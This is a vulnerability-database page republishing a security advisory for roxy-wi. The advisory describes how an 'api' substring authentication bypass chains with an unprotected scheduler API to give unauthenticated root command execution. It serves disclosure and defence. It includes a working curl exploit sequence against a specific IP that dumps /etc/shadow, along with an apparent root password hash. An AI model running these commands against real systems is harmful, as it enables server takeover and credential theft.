GHSA-hqf9-xcvr-7xj5: 
Python Análise e mitigação de vulnerabilidades

Security Vulnerability Report — CWE-78

Summary

Unauthenticated authentication bypass + /scheduler/jobs RCE chain (unauthenticated root RCE + /etc/shadow disclosure)

Description

Affected Repository: https://github.com/roxy-wi/roxy-wi Branch: master Commit: 7744ecf5f53955f3c0036ddd52f539930ef24b36

Unauthenticated authentication bypass + /scheduler/jobs RCE chain (unauthenticated root RCE + /etc/shadow disclosure)

  • Risk summary: Any unauthenticated attacker bypasses roxy-wi's global before_request authentication guard by appending ?api=1 to the URL, then unauthorizedly POSTs a malicious job with func=os:system to the Flask-APScheduler /scheduler/jobs REST API (which has no SCHEDULER_AUTH configured, is not routed through a blueprint, and has no secondary validation), and synchronously triggers execution via /scheduler/jobs/<id>/run, executing arbitrary commands with root privileges. Command output is redirected to the app/static/ directory, then read back without authorization via /static/<file>?api=1, achieving a complete unauthenticated root RCE with response output. This allows reading /etc/shadow (including root password hashes), writing cron jobs/SSH keys for persistence, and full server takeover. No credentials are required at any point.
  • Affected endpoints:
    • GET /scheduler/jobs?api=1 (unauthorized listing of all jobs)
    • POST /scheduler/jobs?api=1 (unauthorized injection of func=os:system job)
    • POST /scheduler/jobs/<job_id>/run?api=1 (unauthorized synchronous execution trigger)
    • GET /static/<file>?api=1 (unauthorized read-back of command output file; static is whitelisted)
    • Port 8080
  • Exploitation conditions: Exploitable with default configuration, no credentials required. Two independent flaws are chained:
    1. Authentication bypass (CVE-2026-45567 root cause): app/login.py:19 uses if 'api' not in request.url as a substring match to determine whether to skip authentication. request.url is the full URL string (including query string), so any URL containing the four letters api (e.g., ?api=1, ?x=api) skips the entire authentication block (get_users_params/is_user_active/check_login are all skipped).
    2. Unprotected sink (Flask-APScheduler without SCHEDULER_AUTH): app/config.py:13 unconditionally sets SCHEDULER_API_ENABLED=True without configuring SCHEDULER_AUTH; flask_apscheduler's _apply_auth passes through when auth=None. Furthermore, the 8 /scheduler/* routes are mounted directly on the app via app.add_url_rule (not via a blueprint), outside the scope of any blueprint's @bp.before_request @jwt_required secondary validation. The POST /scheduler/jobs add_job passes body **kwargs directly to APScheduler, which uses ref_to_obj (__import__+getattr) to resolve the func string os:system into a callable object; the POST /scheduler/jobs/<id>/run run_job synchronously calls job.func(*job.args) = os.system("<attacker-controlled>").
    • roxy-wi v8.2.6.4 default configuration (requirements.txt hard-dependency on Flask-APScheduler==1.13.1, config.py:13 unconditionally enabled, app/__init__.py:27-29 unconditionally init_app+start) — all deployments are affected.
  • Exploit PoC:

# Single-step PoC (one curl command, no credentials required)

# 1. Unauthorized confirmation that /scheduler is reachable (auth bypass)
curl -s 'http://47.251.10.233:8080/scheduler/jobs?api=1'

# Returns: [{"id":"delete_old_logs","func":"app.jobs:delete_old_logs",...},...]  HTTP 200 (unauthorized listing of 7 jobs)

# 2. Unauthorized injection of os:system job
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs?api=1' \
  -H 'Content-Type: application/json' \
  -d '{"id":"rwi_pwn","name":"rwi_pwn","func":"os:system","args":["id > app/static/rwi_id.txt; cat /etc/shadow > app/static/rwi_shadow.txt; cat /etc/hostname > app/static/rwi_host.txt; whoami > app/static/rwi_whoami.txt"],"trigger":"date","run_date":"2026-07-06T16:02:00+08:00","misfire_grace_time":60}'

# Returns: {"id":"rwi_pwn","func":"os:system",...}  HTTP 200 (job registered successfully)

# 3. Unauthorized synchronous execution trigger
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs/rwi_pwn/run?api=1'

# Returns: {"id":"rwi_pwn","func":"os:system",...}  HTTP 200 (os.system executed synchronously)

# 4. Unauthorized read-back of root id
curl -s 'http://47.251.10.233:8080/static/rwi_id.txt?api=1'

# Returns: uid=0(root) gid=0(root) groups=0(root)

# 5. Unauthorized read-back of /etc/shadow (root password hash disclosure)
curl -s 'http://47.251.10.233:8080/static/rwi_shadow.txt?api=1' | head -1

# Returns: root:$y$j9T$a3cR9qoyCjv6G.ViyR43j1$KIZRMVhOqtTPFLdFrthP6F4ZcXEnSwKAJodBHbjvg99:20640:0:99999:7:::

Severity

CVSS v3.1: 9.8 (Critical) Vulnerability class: CWE-78


Origem: NVD

Relacionado Python Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploit CISA KEV

Tem correção

Data de publicação

CVE-2026-113663HIGH8.8
  • Python logoPython
  • autogen
NãoSimNov 05, 2026
CVE-2026-58273HIGH8.1
  • Python logoPython
  • rucio
NãoSimNov 05, 2026
CVE-2026-112938MEDIUM5.8
  • Python logoPython
  • litellm-fips
NãoSimNov 05, 2026
GHSA-6p33-92hw-4v86MEDIUM4
  • Python logoPython
  • extract-msg
NãoSimNov 06, 2026
CVE-2026-112913LOW3.3
  • Python logoPython
  • nemo
NãoSimNov 05, 2026

Avaliação Gratuita de Vulnerabilidades

Avalie a sua postura de segurança na nuvem

Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.

Avaliação de solicitação

Recursos adicionais da Wiz

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades